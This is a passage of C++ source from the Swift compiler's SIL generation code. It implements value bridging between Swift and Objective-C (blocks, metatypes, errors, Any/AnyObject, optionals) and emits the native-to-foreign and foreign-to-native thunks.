{ \ return emitBridge##NativeType##To##BridgedType(SGF, loc, v); \ } #include "swift/SIL/BridgedTypes.def" // Bridge thick to Objective-C metatypes. if (auto bridgedMetaTy = dyn_cast<AnyMetatypeType>(bridgedType)) { if (bridgedMetaTy->hasRepresentation() && bridgedMetaTy->getRepresentation() == MetatypeRepresentation::ObjC) { SILValue native = SGF.B.emitThickToObjCMetatype(loc, v.getValue(), loweredBridgedTy); // *NOTE*: ObjCMetatypes are trivial types. They only gain ARC semantics // when they are converted to an object via objc_metatype_to_object. assert(!v.hasCleanup() && "Metatypes are trivial and thus should not have cleanups"); return ManagedValue::forUnmanaged(native); } } // Bridge native functions to blocks. auto bridgedFTy = dyn_cast<AnyFunctionType>(bridgedType); if (bridgedFTy && bridgedFTy->getRepresentation() == AnyFunctionType::Representation::Block) { auto nativeFTy = cast<AnyFunctionType>(nativeType); if (nativeFTy->getRepresentation() != AnyFunctionType::Representation::Block) return SGF.emitFuncToBlock(loc, v, nativeFTy, bridgedFTy, loweredBridgedTy.castTo<SILFunctionType>()); } // If the native type conforms to _ObjectiveCBridgeable, use its // _bridgeToObjectiveC witness. if (auto conformance = SGF.SGM.getConformanceToObjectiveCBridgeable(loc, nativeType)) { if (auto result = emitBridgeNativeToObjectiveC(SGF, loc, v, nativeType, bridgedType, conformance)) return *result; assert(SGF.SGM.getASTContext().Diags.hadAnyError() && "Bridging code should have complained"); return SGF.emitUndef(loc, bridgedType); } // Bridge Error, or types that conform to it, to NSError. if (shouldBridgeThroughError(SGF.SGM, nativeType, bridgedType)) { auto errorTy = SGF.SGM.Types.getNSErrorType(); auto error = SGF.emitNativeToBridgedError(loc, v, nativeType, errorTy); if (errorTy != bridgedType) { error = emitUnabstractedCast(SGF, loc, error, errorTy, bridgedType); } return error; } // Fall back to dynamic Any-to-id bridging. // The destination type should be AnyObject in this case. assert(bridgedType->isEqual(SGF.getASTContext().getAnyObjectType())); // If the input argument is known to be an existential, save the runtime // some work by opening it. if (nativeType->isExistentialType()) { auto openedType = ArchetypeType::getOpened(nativeType); auto openedExistential = SGF.emitOpenExistential( loc, v, openedType, SGF.getLoweredType(openedType), AccessKind::Read); v = SGF.manageOpaqueValue(openedExistential, loc, SGFContext()); nativeType = openedType; } // Call into the stdlib intrinsic. if (auto bridgeAnything = SGF.getASTContext().getBridgeAnythingToObjectiveC(nullptr)) { auto *genericSig = bridgeAnything->getGenericSignature(); auto subMap = genericSig->getSubstitutionMap( [&](SubstitutableType *t) -> Type { return nativeType; }, MakeAbstractConformanceForGenericType()); // The intrinsic takes a T; reabstract to the generic abstraction // pattern. v = SGF.emitSubstToOrigValue(loc, v, AbstractionPattern::getOpaque(), nativeType); // Put the value into memory if necessary. assert(v.getType().isTrivial(SGF.SGM.M) || v.hasCleanup()); SILModuleConventions silConv(SGF.SGM.M); // bridgeAnything always takes an indirect argument as @in. // Since we don't have the SIL type here, check the current SIL stage/mode // to determine the convention. if (v.getType().isObject() && silConv.useLoweredAddresses()) { auto tmp = SGF.emitTemporaryAllocation(loc, v.getType()); v.forwardInto(SGF, loc, tmp); v = SGF.emitManagedBufferWithCleanup(tmp); } return SGF.emitApplyOfLibraryIntrinsic(loc, bridgeAnything, subMap, v, C) .getAsSingleValue(SGF, loc); } // Shouldn't get here unless the standard library is busted. return SGF.emitUndef(loc, loweredBridgedTy); } static ManagedValue emitNativeToCBridgedValue(SILGenFunction &SGF, SILLocation loc, ManagedValue v, CanType nativeType, CanType bridgedType, SILType loweredBridgedTy, SGFContext C = SGFContext()) { SILType loweredNativeTy = v.getType(); if (loweredNativeTy.getObjectType() == loweredBridgedTy.getObjectType()) return v; CanType bridgedObjectType = bridgedType.getAnyOptionalObjectType(); CanType nativeObjectType = nativeType.getAnyOptionalObjectType(); // Check for optional-to-optional conversions. if (bridgedObjectType && nativeObjectType) { auto helper = [&](SILGenFunction &SGF, SILLocation loc, ManagedValue v, SILType loweredBridgedObjectTy, SGFContext C) { return emitNativeToCBridgedValue(SGF, loc, v, nativeObjectType, bridgedObjectType, loweredBridgedObjectTy, C); }; return SGF.emitOptionalToOptional(loc, v, loweredBridgedTy, helper, C); } // Check if we need to wrap the bridged result in an optional. if (bridgedObjectType) { auto helper = [&](SILGenFunction &SGF, SILLocation loc, SGFContext C) { auto loweredBridgedObjectTy = loweredBridgedTy.getAnyOptionalObjectType(); return emitNativeToCBridgedValue(SGF, loc, v, nativeType, bridgedObjectType, loweredBridgedObjectTy, C); }; return SGF.emitOptionalSome(loc, loweredBridgedTy, helper, C); } return emitNativeToCBridgedNonoptionalValue(SGF, loc, v, nativeType, bridgedType, loweredBridgedTy, C); } ManagedValue SILGenFunction::emitNativeToBridgedValue(SILLocation loc, ManagedValue v, CanType nativeTy, CanType bridgedTy, SILType loweredBridgedTy, SGFContext C) { loweredBridgedTy = loweredBridgedTy.getObjectType(); return emitNativeToCBridgedValue(*this, loc, v, nativeTy, bridgedTy, loweredBridgedTy, C); } static void buildBlockToFuncThunkBody(SILGenFunction &SGF, SILLocation loc, CanAnyFunctionType formalBlockTy, CanAnyFunctionType formalFuncTy, CanSILFunctionType blockTy, CanSILFunctionType funcTy) { // Collect the native arguments, which should all be +1. Scope scope(SGF.Cleanups, CleanupLocation::get(loc)); assert(blockTy->getNumParameters() == funcTy->getNumParameters() && "block and function types don't match"); SmallVector<ManagedValue, 4> args; SILBasicBlock *entry = &*SGF.F.begin(); SILFunctionConventions fnConv(funcTy, SGF.SGM.M); // Set up the indirect result slot. SILValue indirectResult; if (funcTy->getNumResults() != 0) { auto result = funcTy->getSingleResult(); if (result.getConvention() == ResultConvention::Indirect) { SILType resultTy = fnConv.getSILType(result); indirectResult = entry->createFunctionArgument(resultTy); } } auto formalBlockParams = expandTupleTypes(formalBlockTy.getParams()); auto formalFuncParams = expandTupleTypes(formalFuncTy.getParams()); assert(formalBlockParams.size() == blockTy->getNumParameters()); assert(formalFuncParams.size() == funcTy->getNumParameters()); for (unsigned i : indices(funcTy->getParameters())) { auto &param = funcTy->getParameters()[i]; CanType formalBlockParamTy = formalBlockParams[i]; CanType formalFuncParamTy = formalFuncParams[i]; auto paramTy = fnConv.getSILType(param); SILValue v = entry->createFunctionArgument(paramTy); auto mv = emitManagedParameter(SGF, loc, param, v); SILType loweredBlockArgTy = blockTy->getParameters()[i].getSILStorageType(); args.push_back(SGF.emitNativeToBridgedValue(loc, mv, formalFuncParamTy, formalBlockParamTy, loweredBlockArgTy)); } // Add the block argument. SILValue blockV = entry->createFunctionArgument(SILType::getPrimitiveObjectType(blockTy)); ManagedValue block = SGF.emitManagedRValueWithCleanup(blockV); CanType formalResultType = formalFuncTy.getResult(); auto init = indirectResult ? SGF.useBufferAsTemporary(indirectResult, SGF.getTypeLowering(indirectResult->getType())) : nullptr; // Call the block. ManagedValue result = SGF.emitMonomorphicApply(loc, block, args, formalBlockTy.getResult(), formalResultType, ApplyOptions::None, /*override CC*/ SILFunctionTypeRepresentation::Block, /*foreign error*/ None, SGFContext(init.get())) .getAsSingleValue(SGF, loc); SILValue r; // If we have an indirect result, make sure the result is there. if (indirectResult) { if (!result.isInContext()) { init->copyOrInitValueInto(SGF, loc, result, /*isInit*/ true); init->finishInitialization(SGF); } init->getManagedAddress().forward(SGF); r = SGF.B.createTuple(loc, fnConv.getSILResultType(), {}); // Otherwise, return the result at +1. } else { r = result.forward(SGF); } scope.pop(); SGF.B.createReturn(loc, r); } /// Bridge a native function to a block with a thunk. ManagedValue SILGenFunction::emitBlockToFunc(SILLocation loc, ManagedValue block, CanAnyFunctionType blockType, CanAnyFunctionType funcType, CanSILFunctionType loweredFuncTy) { // Declare the thunk. auto loweredBlockTy = block.getType().castTo<SILFunctionType>(); SubstitutionMap contextSubs, interfaceSubs; GenericEnvironment *genericEnv = nullptr; // These two are not used here -- but really, bridging thunks // should be emitted using the formal AST type, not the lowered // type CanType inputSubstType, outputSubstType; auto thunkTy = buildThunkType(loweredBlockTy, loweredFuncTy, inputSubstType, outputSubstType, genericEnv, interfaceSubs); auto thunk = SGM.getOrCreateReabstractionThunk(genericEnv, thunkTy, loweredBlockTy, loweredFuncTy, F.isSerialized()); // Build it if necessary. if (thunk->empty()) { SILGenFunction thunkSGF(SGM, *thunk); thunk->setGenericEnvironment(genericEnv); auto loc = RegularLocation::getAutoGeneratedLocation(); buildBlockToFuncThunkBody(thunkSGF, loc, blockType, funcType, loweredBlockTy, loweredFuncTy); } CanSILFunctionType substFnTy = thunkTy; SmallVector<Substitution, 4> subs; if (auto genericSig = thunkTy->getGenericSignature()) { genericSig->getSubstitutions(interfaceSubs, subs); substFnTy = thunkTy->substGenericArgs(F.getModule(), interfaceSubs); } // Create it in the current function. auto thunkValue = B.createFunctionRef(loc, thunk); SingleValueInstruction *thunkedFn = B.createPartialApply( loc, thunkValue, SILType::getPrimitiveObjectType(substFnTy), subs, block.forward(*this), SILType::getPrimitiveObjectType(loweredFuncTy)); if (loweredFuncTy->isNoEscape()) { auto &funcTL = getTypeLowering(loweredFuncTy); thunkedFn = B.createConvertFunction(loc, thunkedFn, funcTL.getLoweredType()); } return emitManagedRValueWithCleanup(thunkedFn); } static ManagedValue emitCBridgedToNativeValue(SILGenFunction &SGF, SILLocation loc, ManagedValue v, CanType bridgedType, CanType nativeType, SILType loweredNativeTy, bool isCallResult, SGFContext C) { assert(loweredNativeTy.isObject()); SILType loweredBridgedTy = v.getType(); if (loweredNativeTy == loweredBridgedTy.getObjectType()) return v; if (auto nativeObjectType = nativeType.getAnyOptionalObjectType()) { auto bridgedObjectType = bridgedType.getAnyOptionalObjectType(); // Optional injection. if (!bridgedObjectType) { auto helper = [&](SILGenFunction &SGF, SILLocation loc, SGFContext C) { auto loweredNativeObjectTy = loweredNativeTy.getAnyOptionalObjectType(); return emitCBridgedToNativeValue(SGF, loc, v, bridgedType, nativeObjectType, loweredNativeObjectTy, isCallResult, C); }; return SGF.emitOptionalSome(loc, loweredNativeTy, helper, C); } // Optional-to-optional. auto helper = [=](SILGenFunction &SGF, SILLocation loc, ManagedValue v, SILType loweredNativeObjectTy, SGFContext C) { return emitCBridgedToNativeValue(SGF, loc, v, bridgedObjectType, nativeObjectType, loweredNativeObjectTy, isCallResult, C); }; return SGF.emitOptionalToOptional(loc, v, loweredNativeTy, helper, C); } // Bridge Bool to ObjCBool or DarwinBoolean when requested. if (nativeType == SGF.SGM.Types.getBoolType()) { if (bridgedType == SGF.SGM.Types.getObjCBoolType()) { return emitBridgeForeignBoolToBool(SGF, loc, v, SGF.SGM.getObjCBoolToBoolFn()); } if (bridgedType == SGF.SGM.Types.getDarwinBooleanType()) { return emitBridgeForeignBoolToBool(SGF, loc, v, SGF.SGM.getDarwinBooleanToBoolFn()); } } // Bridge Objective-C to thick metatypes. if (isa<AnyMetatypeType>(nativeType)) { auto bridgedMetaTy = cast<AnyMetatypeType>(bridgedType); if (bridgedMetaTy->hasRepresentation() && bridgedMetaTy->getRepresentation() == MetatypeRepresentation::ObjC) { SILValue native = SGF.B.emitObjCToThickMetatype(loc, v.getValue(), loweredNativeTy); // *NOTE*: ObjCMetatypes are trivial types. They only gain ARC semantics // when they are converted to an object via objc_metatype_to_object. assert(!v.hasCleanup() && "Metatypes are trivial and should not have " "cleanups"); return ManagedValue::forUnmanaged(native); } } // Bridge blocks back into native function types. if (auto nativeFTy = dyn_cast<AnyFunctionType>(nativeType)) { auto bridgedFTy = cast<AnyFunctionType>(bridgedType); if (bridgedFTy->getRepresentation() == AnyFunctionType::Representation::Block && nativeFTy->getRepresentation() != AnyFunctionType::Representation::Block) { return SGF.emitBlockToFunc(loc, v, bridgedFTy, nativeFTy, loweredNativeTy.castTo<SILFunctionType>()); } } // Bridge via _ObjectiveCBridgeable. if (auto conformance = SGF.SGM.getConformanceToObjectiveCBridgeable(loc, nativeType)) { if (auto result = emitBridgeObjectiveCToNative(SGF, loc, v, bridgedType, conformance)) return *result; assert(SGF.SGM.getASTContext().Diags.hadAnyError() && "Bridging code should have complained"); return SGF.emitUndef(loc, nativeType); } // id-to-Any bridging. if (nativeType->isAny()) { // If this is not a call result, use the normal erasure logic. if (!isCallResult) { return SGF.emitTransformedValue(loc, v, bridgedType, nativeType, C); } // Otherwise, we use more complicated logic that handles results that // were unexpetedly null. assert(bridgedType.isAnyClassReferenceType()); // Convert to AnyObject if necessary. CanType anyObjectTy = SGF.getASTContext().getAnyObjectType()->getCanonicalType(); if (bridgedType != anyObjectTy) { v = SGF.emitTransformedValue(loc, v, bridgedType, anyObjectTy); } // TODO: Ever need to handle +0 values here? assert(v.hasCleanup()); // Use a runtime call to bridge the AnyObject to Any. We do this instead of // a simple AnyObject-to-Any upcast because the ObjC API may have returned // a null object in spite of its annotation. // Bitcast to Optional. This provides a barrier to the optimizer to prevent // it from attempting to eliminate null checks. auto optionalBridgedTy = SILType::getOptionalType(loweredBridgedTy); auto optionalV = SGF.B.createUncheckedBitCast(loc, v.getValue(), optionalBridgedTy); auto optionalMV = ManagedValue(optionalV, v.getCleanup()); return SGF.emitApplyOfLibraryIntrinsic(loc, SGF.getASTContext().getBridgeAnyObjectToAny(nullptr), SubstitutionMap(), optionalMV, C) .getAsSingleValue(SGF, loc); } // Bridge NSError to Error. if (bridgedType == SGF.SGM.Types.getNSErrorType()) return SGF.emitBridgedToNativeError(loc, v); return v; } ManagedValue SILGenFunction::emitBridgedToNativeValue(SILLocation loc, ManagedValue v, CanType bridgedType, CanType nativeType, SILType loweredNativeTy, SGFContext C, bool isCallResult) { loweredNativeTy = loweredNativeTy.getObjectType(); return emitCBridgedToNativeValue(*this, loc, v, bridgedType, nativeType, loweredNativeTy, isCallResult, C); } /// Bridge a possibly-optional foreign error type to Error. ManagedValue SILGenFunction::emitBridgedToNativeError(SILLocation loc, ManagedValue bridgedError) { // If the incoming error is non-optional, just do an existential erasure. CanType bridgedErrorTy = bridgedError.getType().getSwiftRValueType(); if (!bridgedErrorTy.getAnyOptionalObjectType()) { auto nativeErrorTy = SILType::getExceptionType(getASTContext()); auto conformance = SGM.getNSErrorConformanceToError(); if (!conformance) return emitUndef(loc, nativeErrorTy); ProtocolConformanceRef conformanceArray[] = { ProtocolConformanceRef(conformance) }; auto conformances = getASTContext().AllocateCopy(conformanceArray); SILValue nativeError = B.createInitExistentialRef(loc, nativeErrorTy, bridgedErrorTy, bridgedError.forward(*this), conformances); return emitManagedRValueWithCleanup(nativeError); } // Otherwise, we need to call a runtime function to potential substitute // a standard error for a nil NSError. auto bridgeFn = emitGlobalFunctionRef(loc, SGM.getNSErrorToErrorFn()); auto bridgeFnType = bridgeFn->getType().castTo<SILFunctionType>(); SILFunctionConventions bridgeFnConv(bridgeFnType, SGM.M); assert(bridgeFnType->getNumResults() == 1); assert(bridgeFnType->getResults()[0].getConvention() == ResultConvention::Owned); auto nativeErrorType = bridgeFnConv.getSILType(bridgeFnType->getResults()[0]); assert(bridgeFnType->getParameters()[0].getConvention() == ParameterConvention::Direct_Owned); SILValue nativeError = B.createApply(loc, bridgeFn, bridgeFn->getType(), nativeErrorType, {}, bridgedError.forward(*this)); return emitManagedRValueWithCleanup(nativeError); } /// Bridge Error to a foreign error type. ManagedValue SILGenFunction::emitNativeToBridgedError(SILLocation loc, ManagedValue nativeError, CanType nativeType, CanType bridgedErrorType){ // Handle injections into optional. if (auto bridgedObjectType = bridgedErrorType.getAnyOptionalObjectType()) { auto loweredBridgedOptionalTy = SILType::getPrimitiveObjectType(bridgedErrorType); return emitOptionalSome(loc, loweredBridgedOptionalTy, [&](SILGenFunction &SGF, SILLocation loc, SGFContext C) { SILType loweredBridgedObjectTy = loweredBridgedOptionalTy.getAnyOptionalObjectType(); return emitNativeToBridgedValue(loc, nativeError, nativeType, bridgedObjectType, loweredBridgedObjectTy); }); } assert(bridgedErrorType == SGM.Types.getNSErrorType() && "only handling NSError for now"); // The native error might just be a value of a type that conforms to // Error. This should be a subtyping or erasure conversion of the sort // that we can do automatically. // FIXME: maybe we should use a different entrypoint for this case, to // avoid the code size and performance overhead of forming the box? nativeError = emitUnabstractedCast(*this, loc, nativeError, nativeType, getASTContext().getExceptionType()); auto bridgeFn = emitGlobalFunctionRef(loc, SGM.getErrorToNSErrorFn()); auto bridgeFnType = bridgeFn->getType().castTo<SILFunctionType>(); SILFunctionConventions bridgeFnConv(bridgeFnType, SGM.M); assert(bridgeFnType->getNumResults() == 1); assert(bridgeFnType->getResults()[0].getConvention() == ResultConvention::Owned); auto loweredBridgedErrorType = bridgeFnConv.getSILType(bridgeFnType->getResults()[0]); assert(bridgeFnType->getParameters()[0].getConvention() == ParameterConvention::Direct_Owned); SILValue bridgedError = B.createApply(loc, bridgeFn, bridgeFn->getType(), loweredBridgedErrorType, {}, nativeError.forward(*this)); return emitManagedRValueWithCleanup(bridgedError); } //===----------------------------------------------------------------------===// // ObjC method thunks //===----------------------------------------------------------------------===// static SILValue emitBridgeReturnValue(SILGenFunction &SGF, SILLocation loc, SILValue result, CanType formalNativeTy, CanType formalBridgedTy, SILType loweredBridgedTy) { Scope scope(SGF.Cleanups, CleanupLocation::get(loc)); ManagedValue native = SGF.emitManagedRValueWithCleanup(result); ManagedValue bridged = SGF.emitNativeToBridgedValue(loc, native, formalNativeTy, formalBridgedTy, loweredBridgedTy); return bridged.forward(SGF); } /// Take an argument at +0 and bring it to +1. static SILValue emitObjCUnconsumedArgument(SILGenFunction &SGF, SILLocation loc, SILValue arg) { auto &lowering = SGF.getTypeLowering(arg->getType()); // If address-only, make a +1 copy and operate on that. if (lowering.isAddressOnly()) { auto tmp = SGF.emitTemporaryAllocation(loc, arg->getType().getObjectType()); SGF.B.createCopyAddr(loc, arg, tmp, IsNotTake, IsInitialization); return tmp; } return lowering.emitCopyValue(SGF.B, loc, arg); } static CanAnyFunctionType substGenericArgs(CanAnyFunctionType fnType, const SubstitutionList &subs) { if (auto genericFnType = dyn_cast<GenericFunctionType>(fnType)) { return cast<FunctionType>(genericFnType->substGenericArgs(subs) ->getCanonicalType()); } return fnType; } /// Bridge argument types and adjust retain count conventions for an ObjC thunk. static SILFunctionType *emitObjCThunkArguments(SILGenFunction &SGF, SILLocation loc, SILDeclRef thunk, SmallVectorImpl<SILValue> &args, SILValue &foreignErrorSlot, Optional<ForeignErrorConvention> &foreignError, CanType &nativeFormalResultTy, CanType &bridgedFormalResultTy) { SILDeclRef native = thunk.asForeign(false); auto subs = SGF.F.getForwardingSubstitutions(); auto objcInfo = SGF.SGM.Types.getConstantInfo(thunk); auto objcFnTy = objcInfo.SILFnType->substGenericArgs(SGF.SGM.M, subs); auto objcFormalFnTy = substGenericArgs(objcInfo.LoweredType, subs); auto swiftInfo = SGF.SGM.Types.getConstantInfo(native); auto swiftFnTy = swiftInfo.SILFnType->substGenericArgs(SGF.SGM.M, subs); auto swiftFormalFnTy = substGenericArgs(swiftInfo.LoweredType, subs); SILFunctionConventions swiftConv(swiftFnTy, SGF.SGM.M); // We must have the same context archetypes as the unthunked function. assert(objcInfo.GenericEnv == swiftInfo.GenericEnv); SmallVector<ManagedValue, 8> bridgedArgs; bridgedArgs.reserve(objcFnTy->getParameters().size()); SILFunction *orig = SGF.SGM.getFunction(native, NotForDefinition); // Find the foreign error convention if we have one. if (orig->getLoweredFunctionType()->hasErrorResult()) { auto func = cast<AbstractFunctionDecl>(thunk.getDecl()); foreignError = func->getForeignErrorConvention(); assert(foreignError && "couldn't find foreign error convention!"); } // We don't know what to do with indirect results from the Objective-C side. assert(objcFnTy->getNumIndirectFormalResults() == 0 && "Objective-C methods cannot have indirect results"); auto bridgedFormalTypes = expandTupleTypes(objcFormalFnTy.getParams()); bridgedFormalResultTy = objcFormalFnTy.getResult(); auto nativeFormalTypes = expandTupleTypes(swiftFormalFnTy.getParams()); nativeFormalResultTy = swiftFormalFnTy.getResult(); // Emit the other arguments, taking ownership of arguments if necessary. auto inputs = objcFnTy->getParameters(); auto nativeInputs = swiftFnTy->getParameters(); assert(nativeInputs.size() == bridgedFormalTypes.size()); assert(nativeInputs.size() == nativeFormalTypes.size()); assert(inputs.size() == nativeInputs.size() + unsigned(foreignError.hasValue())); for (unsigned i = 0, e = inputs.size(); i < e; ++i) { SILType argTy = SGF.getSILType(inputs[i]); SILValue arg = SGF.F.begin()->createFunctionArgument(argTy); // If this parameter is the foreign error slot, pull it out. // It does not correspond to a native argument. if (foreignError && i == foreignError->getErrorParameterIndex()) { foreignErrorSlot = arg; continue; } // If the argument is a block, copy it. if (argTy.isBlockPointerCompatible()) { auto copy = SGF.B.createCopyBlock(loc, arg); // If the argument is consumed, we're still responsible for releasing the // original. if (inputs[i].isConsumed()) SGF.emitManagedRValueWithCleanup(arg); arg = copy; } // Convert the argument to +1 if necessary. else if (!inputs[i].isConsumed()) { arg = emitObjCUnconsumedArgument(SGF, loc, arg); } auto managedArg = SGF.emitManagedRValueWithCleanup(arg); bridgedArgs.push_back(managedArg); } assert(bridgedArgs.size() + unsigned(foreignError.hasValue()) == objcFnTy->getParameters().size() && "objc inputs don't match number of arguments?!"); assert(bridgedArgs.size() == swiftFnTy->getParameters().size() && "swift inputs don't match number of arguments?!"); assert((foreignErrorSlot || !foreignError) && "didn't find foreign error slot"); // Bridge the input types. // FIXME: We really want alloc_stacks to outlive this scope, because // bridging id-to-Any requires allocating an Any which gets passed to // the native entry point. // Scope scope(gen.Cleanups, CleanupLocation::get(loc)); assert(bridgedArgs.size() == nativeInputs.size()); for (unsigned i = 0, size = bridgedArgs.size(); i < size; ++i) { ManagedValue native = SGF.emitBridgedToNativeValue(loc, bridgedArgs[i], bridgedFormalTypes[i], nativeFormalTypes[i], swiftFnTy->getParameters()[i].getSILStorageType()); SILValue argValue; if (nativeInputs[i].isConsumed()) { argValue = native.forward(SGF); } else if (nativeInputs[i].isGuaranteed()) { argValue = native.borrow(SGF, loc).getUnmanagedValue(); } else { argValue = native.getValue(); } args.push_back(argValue); } return objcFnTy; } void SILGenFunction::emitNativeToForeignThunk(SILDeclRef thunk) { assert(thunk.isForeign); SILDeclRef native = thunk.asForeign(false); auto nativeInfo = getConstantInfo(native); auto subs = F.getForwardingSubstitutions(); auto substTy = nativeInfo.SILFnType->substGenericArgs(SGM.M, subs); SILType substSILTy = SILType::getPrimitiveObjectType(substTy); SILFunctionConventions substConv(substTy, SGM.M); // Use the same generic environment as the native entry point. F.setGenericEnvironment(nativeInfo.GenericEnv); auto loc = thunk.getAsRegularLocation(); loc.markAutoGenerated(); Scope scope(Cleanups, CleanupLocation::get(loc)); // If we are bridging a Swift method with an Any return value, create a // stack allocation to hold the result, since Any is address-only. SmallVector<SILValue, 4> args; if (substConv.hasIndirectSILResults()) { args.push_back( emitTemporaryAllocation(loc, substConv.getSingleSILResultType())); } // If the '@objc' was inferred due to deprecated rules, // emit a Builtin.swift3ImplicitObjCEntrypoint(). // // However, don't do so for 'dynamic' members, which must use Objective-C // dispatch and therefore create many false positives. if (thunk.hasDecl()) { auto decl = thunk.getDecl(); // For an accessor, look at the storage declaration's attributes. if (auto func = dyn_cast<FuncDecl>(decl)) { if (func->isAccessor()) decl = func->getAccessorStorageDecl(); } if (auto attr = decl->getAttrs().getAttribute<ObjCAttr>()) { // If @objc was inferred based on the Swift 3 @objc inference rules, but // we aren't compiling in Swift 3 compatibility mode, emit a call to // Builtin.swift3ImplicitObjCEntrypoint() to enable runtime logging of // the uses of such entrypoints. if (attr->isSwift3Inferred() && !decl->getAttrs().hasAttribute<DynamicAttr>() && !getASTContext().LangOpts.isSwiftVersion3()) { // Get the starting source location of the declaration so we can say // exactly where to stick '@objc'. SourceLoc objcInsertionLoc = decl->getAttributeInsertionLoc(/*modifier*/ false); auto objcInsertionLocArgs = emitSourceLocationArgs(objcInsertionLoc, loc); B.createBuiltin(loc, getASTContext().getIdentifier("swift3ImplicitObjCEntrypoint"), getModule().Types.getEmptyTupleType(), { }, { objcInsertionLocArgs.filenameStartPointer.forward(*this), objcInsertionLocArgs.filenameLength.forward(*this), objcInsertionLocArgs.line.forward(*this), objcInsertionLocArgs.column.forward(*this) }); } } } // Now, enter a cleanup used for bridging the arguments. Note that if we // have an indirect result, it must be outside of this scope, otherwise // we will deallocate it too early. Scope argScope(Cleanups, CleanupLocation::get(loc)); // Bridge the arguments. Optional<ForeignErrorConvention> foreignError; SILValue foreignErrorSlot; CanType nativeFormalResultType, bridgedFormalResultType; auto objcFnTy = emitObjCThunkArguments(*this, loc, thunk, args, foreignErrorSlot, foreignError, nativeFormalResultType, bridgedFormalResultType); SILFunctionConventions objcConv(CanSILFunctionType(objcFnTy), SGM.M); SILFunctionConventions nativeConv(CanSILFunctionType(nativeInfo.SILFnType), SGM.M); auto swiftResultTy = F.mapTypeIntoContext(nativeConv.getSILResultType()); auto objcResultTy = objcConv.getSILResultType(); // Call the native entry point. SILValue nativeFn = emitGlobalFunctionRef(loc, native, nativeInfo); SILValue result; assert(foreignError.hasValue() == substTy->hasErrorResult()); if (!substTy->hasErrorResult()) { // Create the apply. result = B.createApply(loc, nativeFn, substSILTy, swiftResultTy, subs, args); if (substConv.hasIndirectSILResults()) { assert(substTy->getNumResults() == 1); result = args[0]; } // Leave the argument cleanup scope immediately. This isn't really // necessary; it just limits lifetimes a little bit more. argScope.pop(); // Now bridge the return value. result = emitBridgeReturnValue(*this, loc, result, nativeFormalResultType, bridgedFormalResultType, objcResultTy); } else { SILBasicBlock *contBB = createBasicBlock(); SILBasicBlock *errorBB = createBasicBlock(); SILBasicBlock *normalBB = createBasicBlock(); B.createTryApply(loc, nativeFn, substSILTy, subs, args, normalBB, errorBB); // Emit the non-error destination. { B.emitBlock(normalBB); SILValue nativeResult = normalBB->createPHIArgument(swiftResultTy, ValueOwnershipKind::Owned); if (substConv.hasIndirectSILResults()) { assert(substTy->getNumResults() == 1); nativeResult = args[0]; } // In this branch, the eventual return value is mostly created // by bridging the native return value, but we may need to // adjust it slightly. SILValue bridgedResult = emitBridgeReturnValueForForeignError(loc, nativeResult, nativeFormalResultType, bridgedFormalResultType, objcResultTy, foreignErrorSlot, *foreignError); B.createBranch(loc, contBB, bridgedResult); } // Emit the error destination. { B.emitBlock(errorBB); SILValue nativeError = errorBB->createPHIArgument( substConv.getSILErrorType(), ValueOwnershipKind::Owned); // In this branch, the eventual return value is mostly invented. // Store the native error in the appropriate location and return. SILValue bridgedResult = emitBridgeErrorForForeignError(loc, nativeError, objcResultTy, foreignErrorSlot, *foreignError); B.createBranch(loc, contBB, bridgedResult); } // Emit the join block. B.emitBlock(contBB); result = contBB->createPHIArgument(objcResultTy, ValueOwnershipKind::Owned); // Leave the scope now. argScope.pop(); } scope.pop(); B.createReturn(loc, result); } static SILValue getThunkedForeignFunctionRef(SILGenFunction &SGF, SILLocation loc, SILDeclRef foreign, ArrayRef<ManagedValue> args, SubstitutionList subs, const SILConstantInfo &foreignCI) { assert(!foreign.isCurried && "should not thunk calling convention when curried"); // Produce a witness_method when thunking ObjC protocol methods. auto dc = foreign.getDecl()->getDeclContext(); if (isa<ProtocolDecl>(dc) && cast<ProtocolDecl>(dc)->isObjC()) { assert(subs.size() == 1); auto thisType = subs[0].getReplacement()->getCanonicalType(); assert(isa<ArchetypeType>(thisType) && "no archetype for witness?!"); SILValue thisArg = args.back().getValue(); SILValue OpenedExistential; if (!cast<ArchetypeType>(thisType)->getOpenedExistentialType().isNull()) OpenedExistential = thisArg; auto conformance = ProtocolConformanceRef(cast<ProtocolDecl>(dc)); return SGF.B.createWitnessMethod(loc, thisType, conformance, foreign, foreignCI.getSILType(), OpenedExistential); // Produce a class_method when thunking imported ObjC methods. } else if (foreignCI.SILFnType->getRepresentation() == SILFunctionTypeRepresentation::ObjCMethod) { SILValue thisArg = args.back().getValue(); return SGF.B.createObjCMethod(loc, thisArg, foreign, SILType::getPrimitiveObjectType(foreignCI.SILFnType)); } // Otherwise, emit a function_ref. return SGF.emitGlobalFunctionRef(loc, foreign); } /// Generate code to emit a thunk with native conventions that calls a /// function with foreign conventions. void SILGenFunction::emitForeignToNativeThunk(SILDeclRef thunk) { assert(!thunk.isForeign && "foreign-to-native thunks only"); // Wrap the function in its original form. auto fd = cast<AbstractFunctionDecl>(thunk.getDecl()); auto nativeCI = getConstantInfo(thunk); auto nativeFnTy = F.getLoweredFunctionType(); assert(nativeFnTy == nativeCI.SILFnType); // Use the same generic environment as the native entry point. F.setGenericEnvironment(nativeCI.GenericEnv); SILDeclRef foreignDeclRef = thunk.asForeign(true); SILConstantInfo foreignCI = getConstantInfo(foreignDeclRef); auto foreignFnTy = foreignCI.SILFnType; // Find the foreign error convention and 'self' parameter index. Optional<ForeignErrorConvention> foreignError; if (nativeFnTy->hasErrorResult()) { foreignError = fd->getForeignErrorConvention(); assert(foreignError && "couldn't find foreign error convention!"); } ImportAsMemberStatus memberStatus = fd->getImportAsMemberStatus(); // Forward the arguments. auto forwardedParameters = fd->getParameterLists(); // For allocating constructors, 'self' is a metatype, not the 'self' value // formally present in the constructor body. Type allocatorSelfType; if (thunk.kind == SILDeclRef::Kind::Allocator) { allocatorSelfType = forwardedParameters[0] ->getInterfaceType(getASTContext()) ->getWithoutSpecifierType(); if (F.getGenericEnvironment()) allocatorSelfType = F.getGenericEnvironment() ->mapTypeIntoContext(allocatorSelfType); forwardedParameters = forwardedParameters.slice(1); } SmallVector<SILValue, 8> params; // Introduce indirect returns if necessary. // TODO: Handle exploded results? We don't currently need to since the only // bridged indirect type is Any. SILValue indirectResult; SILFunctionConventions nativeConv(nativeFnTy, SGM.M); if (nativeConv.hasIndirectSILResults()) { assert(nativeConv.getNumIndirectSILResults() == 1 && "bridged exploded result?!"); indirectResult = F.begin()->createFunctionArgument(nativeConv.getSingleSILResultType()); } for (auto *paramList : reversed(forwardedParameters)) bindParametersForForwarding(paramList, params); 